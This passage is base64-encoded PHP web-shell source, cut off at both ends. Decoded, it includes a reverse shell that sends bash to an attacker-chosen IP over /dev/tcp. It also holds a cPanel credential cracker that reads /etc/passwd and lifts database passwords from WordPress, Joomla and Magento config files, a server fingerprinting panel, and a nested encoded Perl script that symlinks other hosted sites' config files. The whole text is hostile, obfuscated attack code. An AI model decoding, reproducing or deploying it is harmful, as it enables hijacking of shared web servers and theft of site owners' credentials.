wvYT4NCjwvdGQ+DQo8L3RyPjwvZGl2PiAiOw0KZmx1c2goKTsNCn0NCn0NCn0NCn0NCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsgICANCn0NCiAgICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnbmV0d29yaycpIHsNCgllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJQmFjayBDb25uZWN0OiA8YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdpcCcgbmFtZT0naXBfYmMnIHZhbHVlPSciLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiInPjxicj4NCgk8aW5wdXQgdHlwZT0ndGV4dCcgcGxhY2Vob2xkZXI9J3BvcnQnIG5hbWU9J3BvcnRfYmMnIHZhbHVlPSc2OTY5Jz48YnI+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3ViX2JjJyB2YWx1ZT0nUmV2ZXJzZScgc3R5bGU9J3dpZHRoOiAyMTBweDsnPg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3ViX2JjJ10pKSB7DQoJCSRpcCA9ICRfUE9TVFsnaXBfYmMnXTsNCgkJJHBvcnQgPSAkX1BPU1RbJ3BvcnRfYmMnXTsNCgkJZXhlKCIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvJGlwLyRwb3J0IDA+JjEiKTsNCgl9DQoJZWNobyAiPC9jZW50ZXI+IjsNCn0NCi8vQ1BBTkVMDQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnY3BhbmVsJykgew0KCWlmKCRfUE9TVFsnY3JhY2snXSkgew0KCQkkdXNlcmNwID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXNlcl9jcCddKTsNCgkJJHBhc3NjcCA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3Bhc3NfY3AnXSk7DQoJCSRpID0gMDsNCgkJZm9yZWFjaCgkdXNlcmNwIGFzICR1Y3ApIHsNCgkJCWZvcmVhY2goJHBhc3NjcCBhcyAkcGNwKSB7DQoJCQkJaWYoQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsICR1Y3AsICRwY3ApKSB7DQoJCQkJCWlmKCRfU0VTU0lPTlskdWNwXSAmJiAkX1NFU1NJT05bJHBjcF0pIHsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCSRfU0VTU0lPTlskdWNwXSA9ICIxIjsNCgkJCQkJCSRfU0VTU0lPTlskcGNwXSA9ICIxIjsNCgkJCQkJCWlmKCR1Y3AgPT0gJycgfHwgJHBjcCA9PSAnJykgew0KCQkJCQkJCQ0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkaSsrOw0KCQkJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KCQkJCQkJCQkkZG9tYWluX2NwID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOwkNCgkJCQkJCQkJaWYoJGRvbWFpbl9jcCA9PSAnJykgew0KCQkJCQkJCQkJJGRvbSA9ICAiPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+IjsNCgkJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2NwLCAkZG9tYWluc19jcCk7DQoJCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2NwWzFdIGFzICRkaikgew0KCQkJCQkJCQkJCSR1c2VyX2NwX3VybCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvJGRqIikpOw0KCQkJCQkJCQkJCSR1c2VyX2NwX3VybCA9ICR1c2VyX2NwX3VybFsnbmFtZSddOw0KCQkJCQkJCQkJCWlmKCR1c2VyX2NwX3VybCA9PSAkdWNwKSB7DQoJCQkJCQkJCQkJCSRkb20gPSAiPGEgaHJlZj0naHR0cDovLyRkai8nIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj1saW1lPiRkajwvZm9udD48L2E+IjsNCgkJCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJfQ0KCQkJCQkJCQl9DQoJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJJGRvbSA9ICI8Zm9udCBjb2xvcj1yZWQ+ZnVuY3Rpb24gaXMgRGlzYWJsZSBieSBzeXN0ZW08L2ZvbnQ+IjsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAidXNlcm5hbWUgKDxmb250IGNvbG9yPWxpbWU+JHVjcDwvZm9udD4pIHBhc3N3b3JkICg8Zm9udCBjb2xvcj1saW1lPiRwY3A8L2ZvbnQ+KSBkb21haW4gKCRkb20pPGJyPiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYoJGkgPT0gMCkgew0KCQl9IGVsc2Ugew0KCQkJZWNobyAiPGJyPnN1a3NlcyBueW9sb25nICIuJGkuIiBDcGFuZWwgYnkgPGZvbnQgY29sb3I9bGltZT5NUi5WNE48L2ZvbnQ+IjsNCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxjZW50ZXI+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCVVTRVI6IDxicj4NCgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMTUwcHg7JyBuYW1lPSd1c2VyX2NwJz4iOw0KCQkkX3VzZXJjcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsNCgkJd2hpbGUoJGdldHUgPSBmZ2V0cygkX3VzZXJjcCkpIHsNCgkJCWlmKCRnZXR1ID09ICcnIHx8ICEkX3VzZXJjcCkgew0KCQkJCWVjaG8gIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiI7DQoJCQl9IGVsc2Ugew0KCQkJCXByZWdfbWF0Y2hfYWxsKCIvKC4qPyk6eDovIiwgJGdldHUsICR1KTsNCgkJCQlmb3JlYWNoKCR1WzFdIGFzICR1c2VyX2NwKSB7DQoJCQkJCQlpZihpc19kaXIoIi9ob21lLyR1c2VyX2NwL3B1YmxpY19odG1sIikpIHsNCgkJCQkJCQllY2hvICIkdXNlcl9jcFxuIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RleHRhcmVhPjxicj4NCgkJUEFTUzogPGJyPg0KCQk8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsnIG5hbWU9J3Bhc3NfY3AnPiI7DQoJCWZ1bmN0aW9uIGNwX3Bhc3MoJGRpcikgew0KCQkJJHBhc3MgPSAiIjsNCgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCQlpZighaXNfZmlsZSgiJGRpci8kZGlyYiIpKSBjb250aW51ZTsNCgkJCQkkYW1iaWwgPSBmaWxlX2dldF9jb250ZW50cygiJGRpci8kZGlyYiIpOw0KCQkJCWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJEQl9QQVNTV09SRCcsICciLCInIikuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSkNvbmZpZ3xqb29tbGEvIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJwYXNzd29yZCA9ICciLCInIikuIlxuIjsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvTWFnZW50b3xNYWdlX0NvcmUvIiwgJGFtYmlsKSkgew0KCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCI8cGFzc3dvcmQ+PCFbQ0RBVEFbIiwiXV0+PC9wYXNzd29yZD4iKS4iXG4iOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9wYW5nZ2lsIGZ1bmdzaSB2YWxpZGFzaSB4c3MgZGFuIGluamVjdGlvbi8iLCAkYW1iaWwpKSB7DQoJCQkJCSRwYXNzIC49IGFtYmlsa2F0YSgkYW1iaWwsJ3Bhc3N3b3JkID0gIicsJyInKS4iXG4iOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9IVFRQX1NFUlZFUnxIVFRQX0NBVEFMT0d8RElSX0NPTkZJR3xESVJfU1lTVEVNLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiJ0RCX1BBU1NXT1JEJywgJyIsIiciKS4iXG4iOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9eW2NsaWVudF0kLyIsICRhbWJpbCkpIHsNCgkJCQkJcHJlZ19tYXRjaCgiL3Bhc3N3b3JkPSguKj8pLyIsICRhbWJpbCwgJHBhc3MxKTsNCgkJCQkJaWYocHJlZ19tYXRjaCgnLyIvJywgJHBhc3MxWzFdKSkgew0KCQkJCQkJJHBhc3MxWzFdID0gc3RyX3JlcGxhY2UoJyInLCAiIiwgJHBhc3MxWzFdKTsNCgkJCQkJCSRwYXNzIC49ICRwYXNzMVsxXS4iXG4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJHBhc3MgLj0gJHBhc3MxWzFdLiJcbiI7DQoJCQkJCX0NCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvY2NfZW5jcnlwdGlvbl9oYXNoLyIsICRhbWJpbCkpIHsNCgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiZGJfcGFzc3dvcmQgPSAnIiwiJyIpLiJcbiI7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAkcGFzczsNCgkJfQ0KCQkkY3BfcGFzcyA9IGNwX3Bhc3MoJGRpcik7DQoJCWVjaG8gJGNwX3Bhc3M7DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjcmFjaycgc3R5bGU9J3dpZHRoOiA0NTBweDsnIHZhbHVlPSdDcmFjayc+DQoJCTwvZm9ybT4NCgkJPHNwYW4+TkI6IENQYW5lbCBDcmFjayBpbmkgc3VkYWggYXV0byBnZXQgcGFzc3dvcmQgKCBwYWtlIGRiIHBhc3N3b3JkICkgbWFrYSBha2FuIHdvcmsgamlrYSBkaWphbGFua2FuIGRpIGRhbGFtIGZvbGRlciA8dT5jb25maWc8L3U+ICggZXg6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvbmFtYV9mb2xkZXJfY29uZmlnICk8L3NwYW4+PGJyPjwvY2VudGVyPiI7DQoJfQ0KfQ0KLy9pbmZvDQplbHNlaWYoJF9HRVRbJ3ZvdHInXSA9PSAnaW5mbycpIHsNCmVjaG8gIjxjZW50ZXI+IjsNCmVjaG8gIiA8c3Bhbj5TZXJ2ZXIgU29mdHdhcmUgOiA8L3NwYW4+IiAuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8YnI+IjsNCmVjaG8gIiA8c3Bhbj5TZXJ2ZXIgQWRtaW4gICAgOiA8L3NwYW4+IiAuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiI8YnI+IjsNCmVjaG8gIiA8c3Bhbj5Vc2VyICAgICAgICAgICAgOiA8L3NwYW4+IiAuZ2V0X2N1cnJlbnRfdXNlcigpLiI8YnI+IjsNCmVjaG8gIiA8c3Bhbj5TZXJ2ZXIgSVAgICAgICAgOiA8L3NwYW4+IiAuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uIjxicj4iOw0KZWNobyAiIDxzcGFuPllvdXIgSVAgICAgICAgICA6IDwvc3Bhbj4iIC4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPGJyPiI7DQplY2hvICIgPHNwYW4+U3lzdGVtICAgICAgICAgIDogPC9zcGFuPiIgLnBocF91bmFtZSgpLiI8YnI+IjsNCmVjaG8gIiA8c3Bhbj5QaHAgdmVyc2lvbiAgICAgOiA8L3NwYW4+IiAucGhwdmVyc2lvbigpLiI8YnI+IjsNCmVjaG8gIiA8c3Bhbj5QYXRoICAgICAgICAgICAgOiA8L3NwYW4+IiAuZ2V0Y3dkKCkuIjxicj4iOw0KZWNobyAiIDxzcGFuPlNhZmUgTW9kZSAgICAgICA6IDwvc3Bhbj4iOw0KaWYoQGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoJ3NhZmVfbW9kZScpKSA9PSAnb24nKXsNCgllY2hvICI8c3BhbiBzdHlsZT1cImZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogcmVkO1wiPk9uPC9zcGFuPiI7DQoJCQ0KICAgICAgICB9ZWxzZXsgZWNobyI8c3BhbiBzdHlsZT1cImZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogbGltZTtcIj5PZmY8L3NwYW4+IjsNCn0NCmVjaG8gIjxicj4iOw0KZWNobyAiPHNwYW4+RGlzYWJsZSBGdW5jdGlvbnM6IDwvc3Bhbj4kc2hvd19kcyAiOw0KZWNobyAiPGJyPiI7DQplY2hvICI8c3BhbiBzdHlsZT1cImNvbG9yOiB3aGl0ZTtcIj4gQ3VybCAgICAgICAgICAgICAgICAgOjwvc3Bhbj4iOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF92ZXJzaW9uIikpew0KCQllY2hvIjxzcGFuIHN0eWxlPVwiZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiBsaW1lO1wiPiBPbjwvc3Bhbj4iOw0KCX1lbHNleyBlY2hvIjxzcGFuIHN0eWxlPVwiY29sb3I6IHJlZDtcIj4gT2ZmPC9zcGFuPiI7DQp9DQplY2hvICIgLSA8c3BhbiBzdHlsZT1cImNvbG9yOiB3aGl0ZTtcIj4gUGVybCAgICAgICAgICAgICAgICAgOjwvc3Bhbj4iOw0KCWlmKGV4ZSgicGVybCAtLWhlbHAiKSl7DQoJCWVjaG8iPHNwYW4gc3R5bGU9XCJmb250LXdlaWdodDogYm9sZDsgY29sb3I6IGxpbWU7XCI+IE9uPC9zcGFuPiI7DQoJfWVsc2V7IGVjaG8iPHNwYW4gc3R5bGU9XCJjb2xvcjogcmVkO1wiPiBPZmY8L3NwYW4+IjsNCn0NCmVjaG8gIiAtIDxzcGFuIHN0eWxlPVwiY29sb3I6IHdoaXRlO1wiPiBQeXRob24gICAgICAgICAgICAgICAgIDo8L3NwYW4+IjsNCglpZihleGUoInB5dGhvbiAtLWhlbHAiKSl7DQoJCWVjaG8iPHNwYW4gc3R5bGU9XCJmb250LXdlaWdodDogYm9sZDsgY29sb3I6IGxpbWU7XCI+IE9uPC9zcGFuPiI7DQoJfWVsc2V7IGVjaG8iPHNwYW4gc3R5bGU9XCJjb2xvcjogcmVkO1wiPiBPZmY8L3NwYW4+IjsNCn0JDQplY2hvICIgLSA8c3BhbiBzdHlsZT1cImNvbG9yOiB3aGl0ZTtcIj4gV2dldCAgICAgICAgICAgICAgICAgOjwvc3Bhbj4iOw0KCWlmKGV4ZSgid2dldCAtLWhlbHAiKSl7DQoJCWVjaG8iPHNwYW4gc3R5bGU9XCJmb250LXdlaWdodDogYm9sZDsgY29sb3I6IGxpbWU7XCI+IE9uPC9zcGFuPiI7DQoJfWVsc2V7IGVjaG8iPHNwYW4gc3R5bGU9XCJjb2xvcjogcmVkO1wiPiBPZmY8L3NwYW4+IjsNCn0NCmVjaG8gIiAtIDxzcGFuIHN0eWxlPVwiY29sb3I6IHdoaXRlO1wiPiBNeXNxbCAgICAgICAgICAgICAgICAgOjwvc3Bhbj4iOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY29ubmVjdCIpKXsNCgkJZWNobyI8c3BhbiBzdHlsZT1cImZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogbGltZTtcIj4gT248L3NwYW4+IjsNCgl9ZWxzZXsgZWNobyI8c3BhbiBzdHlsZT1cImNvbG9yOiByZWQ7XCI+IE9mZjwvc3Bhbj4iOw0KfQ0KfQ0KLy9DT05GSUcNCmVsc2VpZigkX0dFVFsndm90ciddID09ICdjb25maWcnKSB7DQoJJGlkeCA9IG1rZGlyKCJ2b3RyX2NvbmZpZyIsIDA3NzcpOw0KCSRpc2lfaHRjID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0lcblJlcXVpcmUgTm9uZVxuU2F0aXNmeSBBbnlcbkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNpblxuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW5cbkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luIjsNCgkkaHRjID0gZm9wZW4oImlkeF9jb25maWcvLmh0YWNjZXNzIiwidyIpOw0KCWZ3cml0ZSgkaHRjLCAkaXNpX2h0Yyk7DQoJZmNsb3NlKCRodGMpOw0KCWlmKHByZWdfbWF0Y2goIi92aG9zdHN8dmhvc3QvIiwgJGRpcikpIHsNCgkJJGxpbmtfY29uZmlnID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIsICRkaXIpOw0KCQkkdmhvc3QgPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1RFFwdmNHVnVaR2x5S0cxNUlDUmthWElnTENBaUwzWmhjaTkzZDNjdmRtaHZjM1J6THlJcE93MEtabTl5WldGamFDaHpiM0owSUhKbFlXUmthWElnSkdScGNpa2dldzBLSUNBZ0lHMTVJQ1JwYzBScGNpQTlJREE3RFFvZ0lDQWdKR2x6UkdseUlEMGdNU0JwWmlBdFpDQWtYenNOQ2lSemFYUmxjM01nUFNBa1h6c05DZzBLRFFwemVXMXNhVzVyS0NjdmRtRnlMM2QzZHk5MmFHOXpkSE12Snk0a2MybDBaWE56TGljdmFIUjBjR1J2WTNNdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkhOcGRHVnpjeTRuTFhOb2IzQXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZiM012YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MWE5vYjNBdGIzTXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZiM05qYjIwdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkhOcGRHVnpjeTRuTFc5elkyOXRMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMMjl6WTI5dGJXVnlZMlV2YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MVzl6WTI5dGJXVnlZMlV1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2ZG1GeUwzZDNkeTkyYUc5emRITXZKeTRrYzJsMFpYTnpMaWN2YUhSMGNHUnZZM012YjNOamIyMXRaWEpqWlhNdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkhOcGRHVnpjeTRuTFc5elkyOXRiV1Z5WTJWekxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwzTm9iM0F2YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MWE5vYjNBeUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwzTm9iM0J3YVc1bkwybHVZMngxWkdWekwyTnZibVpwWjNWeVpTNXdhSEFuTENSemFYUmxjM011SnkxemFHOXdMWE5vYjNCd2FXNW5MblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMM05oYkdVdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkhOcGRHVnpjeTRuTFhOaGJHVXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZZVzFsYldKbGNpOWpiMjVtYVdjdWFXNWpMbkJvY0Njc0pITnBkR1Z6Y3k0bkxXRnRaVzFpWlhJdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmRtRnlMM2QzZHk5MmFHOXpkSE12Snk0a2MybDBaWE56TGljdmFIUjBjR1J2WTNNdlkyOXVabWxuTG1sdVl5NXdhSEFuTENSemFYUmxjM011SnkxaGJXVnRZbVZ5TWk1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5MllYSXZkM2QzTDNab2IzTjBjeThuTGlSemFYUmxjM011Snk5b2RIUndaRzlqY3k5dFpXMWlaWEp6TDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2MybDBaWE56TGljdGJXVnRZbVZ5Y3k1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5MllYSXZkM2QzTDNab2IzTjBjeThuTGlSemFYUmxjM011Snk5b2RIUndaRzlqY3k5amIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3ROR2x0WVdkbGN6RXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZabTl5ZFcwdmFXNWpiSFZrWlhNdlkyOXVabWxuTG5Cb2NDY3NKSE5wZEdWemN5NG5MV1p2Y25WdExuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwyWnZjblZ0Y3k5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3RabTl5ZFcxekxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwyRmtiV2x1TDJOdmJtWXVjR2h3Snl3a2MybDBaWE56TGljdE5TNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OTJZWEl2ZDNkM0wzWm9iM04wY3k4bkxpUnphWFJsYzNNdUp5OW9kSFJ3Wkc5amN5OWhaRzFwYmk5amIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3ROQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTkzY0MxamIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3RWMjl5WkhCeVpYTnpMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMM2R3TDNkd0xXTnZibVpwWnk1d2FIQW5MQ1J6YVhSbGMzTXVKeTFYYjNKa2NISmxjM011ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2ZG1GeUwzZDNkeTkyYUc5emRITXZKeTRrYzJsMFpYTnpMaWN2YUhSMGNHUnZZM012VjFBdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkhOcGRHVnpjeTRuTFZkdmNtUndjbVZ6Y3k1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5MllYSXZkM2QzTDNab2IzTjBjeThuTGlSemFYUmxjM011Snk5b2RIUndaRzlqY3k5M2NDOWlaWFJoTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1J6YVhSbGMzTXVKeTFYYjNKa2NISmxjM011ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2ZG1GeUwzZDNkeTkyYUc5emRITXZKeTRrYzJsMFpYTnpMaWN2YUhSMGNHUnZZM012WW1WMFlTOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdFYyOXlaSEJ5WlhOekxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwzQnlaWE56TDNkd0xXTnZibVpwWnk1d2FIQW5MQ1J6YVhSbGMzTXVKeTEzY0RFekxYQnlaWE56TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDNkdmNtUndjbVZ6Y3k5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYzJsMFpYTnpMaWN0ZDI5eVpIQnlaWE56TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDFkdmNtUndjbVZ6Y3k5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYzJsMFpYTnpMaWN0VjI5eVpIQnlaWE56TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDJKc2IyY3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pITnBkR1Z6Y3k0bkxWZHZjbVJ3Y21WemN5NTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OTJZWEl2ZDNkM0wzWm9iM04wY3k4bkxpUnphWFJsYzNNdUp5OW9kSFJ3Wkc5amN5OTNiM0prY0hKbGMzTXZZbVYwWVM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYzJsMFpYTnpMaWN0VjI5eVpIQnlaWE56TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDI1bGQzTXZkM0F0WTI5dVptbG5MbkJvY0Njc0pITnBkR1Z6Y3k0bkxWZHZjbVJ3Y21WemN5MXVaWGR6TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDI1bGR5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdFYyOXlaSEJ5WlhOekxXNWxkeTUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTlpYkc5bkwzZHdMV052Ym1acFp5NXdhSEFuTENSemFYUmxjM011SnkxWGIzSmtjSEpsYzNNdFlteHZaeTUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTlpWlhSaEwzZHdMV052Ym1acFp5NXdhSEFuTENSemFYUmxjM011SnkxWGIzSmtjSEpsYzNNdFltVjBZUzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTlpYkc5bmN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdFYyOXlaSEJ5WlhOekxXSnNiMmR6TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDJodmJXVXZkM0F0WTI5dVptbG5MbkJvY0Njc0pITnBkR1Z6Y3k0bkxWZHZjbVJ3Y21WemN5MW9iMjFsTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDNCeWIzUmhiQzkzY0MxamIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3RWMjl5WkhCeVpYTnpMWEJ5YjNSaGJDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OTJZWEl2ZDNkM0wzWm9iM04wY3k4bkxpUnphWFJsYzNNdUp5OW9